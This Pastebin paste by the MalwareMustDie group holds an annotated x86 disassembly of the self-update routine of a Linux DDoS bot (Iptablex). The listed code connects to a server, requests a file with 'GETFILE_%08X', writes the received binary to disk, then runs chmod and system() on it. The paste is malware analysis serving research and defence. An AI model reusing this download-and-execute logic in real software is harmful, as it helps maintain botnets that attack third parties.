Advertisement
MalwareMustDie

Updater function | China DDoS'er

Jun 16th, 2014
2,256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;; Server Updater code reversed | #MalwareMustDie - @unixfreaxjp /malware/Iptablex]$ date
  2. ;; Mon Jun 16 14:08:26 JST 2014
  3.  
  4. ;; Function updatepth()
  5.  
  6. .text:0804A610 public updatepth
  7. .text:0804A610 updatepth       proc near  
  8. .text:0804A610 var_28          = dword ptr -28h
  9. .text:0804A610 var_24          = dword ptr -24h
  10. .text:0804A610 var_20          = dword ptr -20h
  11. .text:0804A610 var_C           = dword ptr -0Ch
  12. .text:0804A610 var_8           = word ptr -8
  13. .text:0804A610 var_6           = word ptr -6
  14. .text:0804A610 arg_0           = dword ptr  8
  15. .text:0804A610
  16. .text:0804A610                 push    ebp
  17. .text:0804A611                 mov     ebp, esp
  18. .text:0804A613                 push    ebx
  19. .text:0804A614                 sub     esp, 24h
  20. .text:0804A617                 mov     edx, [ebp+arg_0]
  21. .text:0804A61A                 mov     [ebp+var_C], 0
  22. .text:0804A621                 mov     [ebp+var_6], 0
  23. .text:0804A627                 mov     [ebp+var_8], 0
  24. .text:0804A62D                 test    edx, edx
  25. .text:0804A62F                 jz      short loc_804A690
  26. .text:0804A631                 mov     eax, [edx+1]
  27. .text:0804A634                 mov     ebx, 1
  28. .text:0804A639                 mov     [ebp+var_C], eax
  29. .text:0804A63C                 movzx   eax, word ptr [edx+5]
  30. .text:0804A640                 mov     [ebp+var_6], ax
  31. .text:0804A644                 movzx   eax, word ptr [edx+7]
  32. .text:0804A648                 mov     [esp+28h+var_28], edx
  33. .text:0804A64B                 mov     [ebp+var_8], ax
  34. .text:0804A64F                 call    free
  35. .text:0804A654
  36. .text:0804A654 loc_804A654:            
  37. .text:0804A654                 movzx   eax, [ebp+var_8]
  38. .text:0804A658                 mov     [esp+28h+var_20], eax
  39. .text:0804A65C                 movzx   eax, [ebp+var_6]
  40. .text:0804A660                 mov     [esp+28h+var_24], eax
  41. .text:0804A664                 mov     eax, [ebp+var_C]
  42. .text:0804A667                 mov     [esp+28h+var_28], eax
  43. .text:0804A66A                 call    updatesrv  ;; call the next funcion.see below blob...
  44. .text:0804A66F                 test    eax, eax
  45. .text:0804A671                 jnz     short loc_804A690
  46. .text:0804A673                 mov     [esp+28h+var_28], 2DC6C0h
  47. .text:0804A67A                 call    usleep
  48. .text:0804A67F                 cmp     ebx, 5
  49. .text:0804A682                 jz      short loc_804A690
  50. .text:0804A684                 add     ebx, 1
  51. .text:0804A687                 jmp     short loc_804A654
  52. .text:0804A690 loc_804A690:  
  53. .text:0804A690                 mov     [esp+28h+var_28], 0
  54. .text:0804A697                 call    pthread_exit
  55. .text:0804A69C                 nop
  56. .text:0804A69D                 nop
  57. .text:0804A69E                 nop
  58. .text:0804A69F                 nop
  59. .text:0804A69F updatepth       end
  60.  
  61.  
  62. ;; Function updatesrv()
  63.  
  64. .text:0804A2C0 public updatesrv
  65. .text:0804A2C0 updatesrv       proc near
  66. .text:0804A2C0
  67. .text:0804A2C0 var_948         = dword ptr -948h
  68. .text:0804A2C0 var_944         = dword ptr -944h
  69. .text:0804A2C0 var_940         = dword ptr -940h
  70. .text:0804A2C0 var_93C         = dword ptr -93Ch
  71. .text:0804A2C0 var_938         = dword ptr -938h
  72. .text:0804A2C0 var_934         = dword ptr -934h
  73. .text:0804A2C0 var_930         = dword ptr -930h
  74. .text:0804A2C0 var_920         = dword ptr -920h
  75. .text:0804A2C0 var_120         = dword ptr -120h
  76. .text:0804A2C0 var_20          = dword ptr -20h
  77. .text:0804A2C0 var_1C          = dword ptr -1Ch
  78. .text:0804A2C0 var_10          = dword ptr -10h
  79. .text:0804A2C0 arg_0           = dword ptr  8
  80. .text:0804A2C0 arg_4           = word ptr  0Ch
  81. .text:0804A2C0 arg_8           = dword ptr  10h
  82. .text:0804A2C0
  83. .text:0804A2C0                 push    ebp
  84. .text:0804A2C1                 mov     ebp, esp
  85. .text:0804A2C3                 push    edi
  86. .text:0804A2C4                 push    esi
  87. .text:0804A2C5                 push    ebx
  88. .text:0804A2C6                 sub     esp, 93Ch       ; contains "pathname"
  89. .text:0804A2CC                 mov     eax, [ebp+arg_8]
  90. .text:0804A2CF                 mov     [ebp+var_10], 0
  91. .text:0804A2D6                 movzx   ebx, [ebp+arg_4]
  92. .text:0804A2DA                 mov     word ptr [ebp+var_930], ax
  93. .text:0804A2E1                 mov     [esp+948h+var_940], 0
  94. .text:0804A2E9                 mov     [esp+948h+var_944], 1
  95. .text:0804A2F1                 mov     [esp+948h+var_948], 2
  96. .text:0804A2F8                 call    socket
  97. .text:0804A2FD                 test    eax, eax
  98. .text:0804A2FF                 mov     esi, eax
  99. .text:0804A301                 js      loc_804A400
  100. .text:0804A307                 mov     eax, [ebp+arg_0]
  101. .text:0804A30A                 mov     word ptr [ebp+var_20], 2
  102. .text:0804A310                 ror     bx, 8
  103. .text:0804A314                 mov     word ptr [ebp+var_20+2], bx
  104. .text:0804A318                 mov     [ebp+var_1C], eax
  105. .text:0804A31B                 lea     eax, [ebp+var_20]
  106. .text:0804A31E                 mov     [esp+948h+var_940], 10h
  107. .text:0804A326                 mov     [esp+948h+var_944], eax
  108. .text:0804A32A                 mov     [esp+948h+var_948], esi
  109. .text:0804A32D                 call    connect
  110. .text:0804A332                 test    eax, eax
  111. .text:0804A334                 js      loc_804A400
  112. .text:0804A33A                 lea     edi, [ebp+var_120]
  113. .text:0804A340                 mov     [esp+948h+var_940], 100h
  114. .text:0804A348                 mov     [esp+948h+var_944], 0
  115. .text:0804A350                 mov     [esp+948h+var_948], edi
  116. .text:0804A353                 call    memset
  117. .text:0804A358                 mov     [esp+948h+var_948], edi
  118. .text:0804A35B                 call    GetMyPath
  119. .text:0804A360                 mov     ecx, edi
  120. .text:0804A362
  121. .text:0804A362 loc_804A362:
  122. .text:0804A362                 mov     eax, [ecx]
  123. .text:0804A364                 add     ecx, 4
  124. .text:0804A367                 lea     edx, [eax-1010101h]
  125. .text:0804A36D                 not     eax
  126. .text:0804A36F                 and     edx, eax
  127. .text:0804A371                 and     edx, 80808080h
  128. .text:0804A377                 jz      short loc_804A362
  129. .text:0804A379                 test    edx, 8080h
  130. .text:0804A37F                 jz      loc_804A410
  131. .text:0804A385
  132. .text:0804A385 loc_804A385:
  133. .text:0804A385                 add     dl, dl
  134. .text:0804A387                 sbb     ecx, 3
  135. .text:0804A38A                 mov     [esp+948h+var_948], ecx
  136. .text:0804A38D                 call    GetRandFileName
  137. .text:0804A392                 lea     eax, [ebp+var_930]
  138. .text:0804A398                 mov     [esp+948h+var_93C], 0
  139. .text:0804A3A0                 mov     [esp+948h+var_940], 2
  140. .text:0804A3A8                 mov     [esp+948h+var_944], eax
  141. .text:0804A3AC                 mov     [esp+948h+var_948], esi
  142. .text:0804A3AF                 call    send
  143. .text:0804A3B4                 cmp     eax, 2
  144. .text:0804A3B7                 jz      short loc_804A420
  145. .text:0804A3B9
  146. .text:0804A3B9 loc_804A3B9:
  147. .text:0804A3B9            
  148. .text:0804A3B9                 mov     [esp+948h+var_948], esi
  149. .text:0804A3BC                 call    close
  150. .text:0804A3C1                 mov     [esp+948h+var_944], 0
  151. .text:0804A3C9                 mov     [esp+948h+var_948], edi
  152. .text:0804A3CC                 call    access
  153. .text:0804A3D1                 test    eax, eax
  154. .text:0804A3D3                 jnz     short loc_804A400
  155. .text:0804A3D5                 mov     [esp+948h+var_948], edi
  156. .text:0804A3D8                 call    Get_File_Size
  157. .text:0804A3DD                 cmp     eax, [ebp+var_10]
  158. .text:0804A3E0                 jz      loc_804A480
  159. .text:0804A3E6                 mov     [esp+948h+var_948], edi
  160. .text:0804A3E9                 call    MyDeleteFile
  161. .text:0804A3EE                 add     esp, 93Ch
  162. .text:0804A3F4                 xor     eax, eax
  163. .text:0804A3F6                 pop     ebx
  164. .text:0804A3F7                 pop     esi
  165. .text:0804A3F8                 pop     edi
  166. .text:0804A3F9                 pop     ebp
  167. .text:0804A3FA                 retn
  168.  
  169. .text:0804A400 loc_804A400:  
  170. .text:0804A400                 xor     eax, eax
  171. .text:0804A402
  172. .text:0804A402 loc_804A402:
  173. .text:0804A402                 add     esp, 93Ch
  174. .text:0804A408                 pop     ebx
  175. .text:0804A409                 pop     esi
  176. .text:0804A40A                 pop     edi
  177. .text:0804A40B                 pop     ebp
  178. .text:0804A40C                 retn
  179. .text:0804A40D                 align 10h               ; here's the "fd" passed
  180. .text:0804A410 loc_804A410:  
  181. .text:0804A410                 shr     edx, 10h
  182. .text:0804A413                 add     ecx, 2
  183. .text:0804A416                 jmp     loc_804A385
  184. .text:0804A420
  185. .text:0804A420 loc_804A420:
  186. .text:0804A420                 lea     eax, [ebp+var_920]
  187. .text:0804A426                 mov     [ebp+var_938], eax
  188. .text:0804A42C                 mov     [esp+948h+var_940], 800h
  189. .text:0804A434                 mov     [esp+948h+var_944], 0
  190. .text:0804A43C                 mov     [esp+948h+var_948], eax
  191. .text:0804A43F                 call    memset
  192. .text:0804A444                 lea     eax, [ebp+var_920]
  193. .text:0804A44A                 mov     [esp+948h+var_93C], 0
  194. .text:0804A452                 mov     [esp+948h+var_940], 800h
  195. .text:0804A45A                 mov     [esp+948h+var_944], eax
  196. .text:0804A45E                 mov     [esp+948h+var_948], esi
  197. .text:0804A461                 call    recv
  198. .text:0804A466                 cmp     eax, 4
  199. .text:0804A469                 jz      short loc_804A4C0
  200. .text:0804A46B
  201. .text:0804A46B loc_804A46B:
  202. .text:0804A46B                 mov     [esp+948h+var_948], esi
  203. .text:0804A46E                 call    close
  204. .text:0804A473                 add     esp, 93Ch
  205. .text:0804A479                 xor     eax, eax
  206. .text:0804A47B                 pop     ebx
  207. .text:0804A47C                 pop     esi
  208. .text:0804A47D                 pop     edi
  209. .text:0804A47E                 pop     ebp
  210. .text:0804A47F                 retn            ; returning arguement "args"
  211. .text:0804A480
  212. .text:0804A480 loc_804A480:  
  213. .text:0804A480                 lea     eax, [ebp+var_920]
  214. .text:0804A486                 mov     [esp+948h+var_940], 800h
  215. .text:0804A48E                 mov     [esp+948h+var_944], 0
  216. .text:0804A496                 mov     [esp+948h+var_948], eax
  217. .text:0804A499                 call    memset
  218. .text:0804A49E                 mov     [esp+948h+var_944], 309h
  219. .text:0804A4A6                 mov     [esp+948h+var_948], edi
  220. .text:0804A4A9                 call    chmod
  221. .text:0804A4AE                 mov     [esp+948h+var_948], edi
  222. .text:0804A4B1                 call    system
  223. .text:0804A4B6                 mov     eax, 1
  224. .text:0804A4BB                 jmp     loc_804A402
  225. .text:0804A4C0
  226. .text:0804A4C0 loc_804A4C0:                
  227. .text:0804A4C0                 mov     eax, [ebp+var_920]
  228. .text:0804A4C6                 mov     [ebp+var_10], eax
  229. .text:0804A4C9                 lea     eax, [ebp+var_920]
  230. .text:0804A4CF                 mov     [esp+948h+var_940], 800h
  231. .text:0804A4D7                 mov     [esp+948h+var_944], 0
  232. .text:0804A4DF                 mov     [esp+948h+var_948], eax
  233. .text:0804A4E2                 call    memset
  234. .text:0804A4E7                 mov     eax, [ebp+var_10]
  235. .text:0804A4EA                 mov     [esp+948h+var_944], offset aGetfile_08x ; called db "GETFILE_%08X"
  236. .text:0804A4F2                 mov     [esp+948h+var_940], eax
  237. .text:0804A4F6                 lea     eax, [ebp+var_920]
  238. .text:0804A4FC                 mov     [esp+948h+var_948], eax
  239. .text:0804A4FF                 call    sprintf
  240. .text:0804A504                 lea     ecx, [ebp+var_920]
  241. .text:0804A50A
  242. .text:0804A50A loc_804A50A:  
  243. .text:0804A50A                 mov     eax, [ecx]
  244. .text:0804A50C                 add     ecx, 4
  245. .text:0804A50F                 lea     edx, [eax-1010101h]
  246. .text:0804A515                 not     eax
  247. .text:0804A517                 and     edx, eax
  248. .text:0804A519                 and     edx, 80808080h
  249. .text:0804A51F                 jz      short loc_804A50A
  250. .text:0804A521                 test    edx, 8080h
  251. .text:0804A527                 jnz     short loc_804A52F
  252. .text:0804A529                 shr     edx, 10h
  253. .text:0804A52C                 add     ecx, 2
  254. .text:0804A52F
  255. .text:0804A52F loc_804A52F:  
  256. .text:0804A52F                 add     dl, dl
  257. .text:0804A531                 sbb     ecx, 3
  258. .text:0804A534                 sub     ecx, [ebp+var_938]
  259. .text:0804A53A                 lea     eax, [ebp+var_920]
  260. .text:0804A540                 mov     [esp+948h+var_93C], 0
  261. .text:0804A548                 lea     ebx, [ecx+1]
  262. .text:0804A54B                 mov     [esp+948h+var_940], ebx
  263. .text:0804A54F                 mov     [esp+948h+var_944], eax
  264. .text:0804A553                 mov     [esp+948h+var_948], esi
  265. .text:0804A556                 call    send
  266. .text:0804A55B                 cmp     eax, ebx
  267. .text:0804A55D                 jnz     loc_804A46B
  268. .text:0804A563                 mov     [esp+948h+var_944], offset aWb
  269.                                        ; contains "wb"..means..write as binary..
  270. .text:0804A56B                 mov     [esp+948h+var_948], edi
  271. .text:0804A56E                 call    fopen
  272. .text:0804A573                 test    eax, eax
  273. .text:0804A575                 mov     [ebp+var_934], eax
  274. .text:0804A57B                 jnz     short loc_804A5AA
  275. .text:0804A57D                 jmp     loc_804A3B9
  276. .text:0804A582
  277. .text:0804A582 loc_804A582:              
  278. .text:0804A582                 mov     eax, [ebp+var_934]
  279. .text:0804A588                 mov     [esp+948h+var_940], ebx
  280. .text:0804A58C                 mov     [esp+948h+var_944], 1
  281. .text:0804A594                 mov     [esp+948h+var_93C], eax
  282. .text:0804A598                 lea     eax, [ebp+var_920]
  283. .text:0804A59E                 mov     [esp+948h+var_948], eax
  284. .text:0804A5A1                 call    fwrite
  285. .text:0804A5A6                 cmp     ebx, eax
  286. .text:0804A5A8                 jnz     short loc_804A5F0
  287. .text:0804A5AA
  288. .text:0804A5AA loc_804A5AA:              
  289. .text:0804A5AA                 lea     eax, [ebp+var_920]
  290. .text:0804A5B0                 mov     [esp+948h+var_940], 800h
  291. .text:0804A5B8                 mov     [esp+948h+var_944], 0
  292. .text:0804A5C0                 mov     [esp+948h+var_948], eax
  293. .text:0804A5C3                 call    memset
  294. .text:0804A5C8                 lea     eax, [ebp+var_920]
  295. .text:0804A5CE                 mov     [esp+948h+var_93C], 0
  296. .text:0804A5D6                 mov     [esp+948h+var_940], 800h
  297. .text:0804A5DE                 mov     [esp+948h+var_944], eax
  298. .text:0804A5E2                 mov     [esp+948h+var_948], esi
  299. .text:0804A5E5                 call    recv
  300. .text:0804A5EA                 test    eax, eax
  301. .text:0804A5EC                 mov     ebx, eax
  302. .text:0804A5EE                 jg      short loc_804A582
  303. .text:0804A5F0
  304. .text:0804A5F0 loc_804A5F0:              
  305. .text:0804A5F0                 mov     eax, [ebp+var_934]
  306. .text:0804A5F6                 mov     [esp+948h+var_948], eax
  307. .text:0804A5F9                 call    fclose
  308. .text:0804A5FE                 jmp     loc_804A3B9
  309. .text:0804A5FE updatesrv       endp
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement